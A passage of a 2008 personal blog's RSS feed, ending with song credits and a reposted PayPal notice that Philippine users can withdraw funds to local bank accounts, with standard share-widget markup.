Composer &amp; Second Voice - ZuperTzai<br />
Guitars - GlassMoon<br />
Tambourine - Micah<br />
Clappers - The StarMaker Sound Studios Staff<br />
Recorded &amp; Mastered -  StarMaker Sound Studios<br />
Lyrics - iSTORYA<br />
Producer - Mr. Douglas Wells</p>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=The%20Forum%20Song&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F01%2F31%2Fthe-forum-song%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="The Forum Song";
		a2a_linkurl="http://www.johnbernardabella.com/2008/01/31/the-forum-song/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/01/31/the-forum-song/feed/</wfw:commentRss>
		</item>
		<item>
		<title>PayPal launch for local Banks (Philippines)</title>
		<link>http://www.johnbernardabella.com/2008/01/30/paypal-launch-for-local-banks-philippines/</link>
		<comments>http://www.johnbernardabella.com/2008/01/30/paypal-launch-for-local-banks-philippines/#comments</comments>
		<pubDate>Wed, 30 Jan 2008 09:31:58 +0000</pubDate>
		<dc:creator>jba_21</dc:creator>
		
		<category><![CDATA[Internet Updates]]></category>

		<category><![CDATA[paypal]]></category>

		<category><![CDATA[paypal philippines]]></category>

		<category><![CDATA[paypal to philippine bank]]></category>

		<guid isPermaLink="false">http://www.johnbernardabella.com/2008/01/30/paypal-launch-for-local-banks-philippines/</guid>
		<description><![CDATA[New! Withdraw Your Funds to Your Philippine Bank Account
Now you can add your Philippine bank account to your PayPal account, so you can withdraw your money directly to your bank. It saves you time and gives you faster access to your PayPal funds!

Plus, there is no charge to withdrawal amounts over PHP 7000*. So go [...]]]></description>
			<content:encoded><![CDATA[<p>New! Withdraw Your Funds to Your Philippine Bank Account</p>
<p>Now you can add your Philippine bank account to your PayPal account, so you can withdraw your money directly to your bank. It saves you time and gives you faster access to your PayPal funds!</p>
<p></p>
<p>Plus, there is no charge to withdrawal amounts over PHP 7000*. So go ahead and add your bank account today!<br />
<font style="font-size: 10px" color="#333333" face="Arial, Helvetica, sans-serif">                          *For withdrawal amounts of less than PHP 7000, there is a nominal fee of PHP 50.</font></p>
<p class="addtoany_share_save">
    <a name="a2a_dd" onmouseover="a2a_show_dropdown(this)" onmouseout="a2a_onMouseOut_delay()" href="http://www.addtoany.com/bookmark?sitename=John%20Bernard%20Abella%20%5Bblog%5D&amp;siteurl=http%3A%2F%2Fwww.johnbernardabella.com%2F&amp;linkname=PayPal%20launch%20for%20local%20Banks%20%28Philippines%29&amp;linkurl=http%3A%2F%2Fwww.johnbernardabella.com%2F2008%2F01%2F30%2Fpaypal-launch-for-local-banks-philippines%2F"><img src="http://www.johnbernardabella.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" border="0" alt="Share/Save/Bookmark"/></a>
    <script type="text/javascript">
		a2a_linkname="PayPal launch for local Banks (Philippines)";
		a2a_linkurl="http://www.johnbernardabella.com/2008/01/30/paypal-launch-for-local-banks-philippines/";
				    </script>
    <script type="text/javascript" src="http://www.addtoany.com/menu/page.js"></script>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.johnbernardabella.com/2008/01/30/paypal-launch-for-local-banks-philippines/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
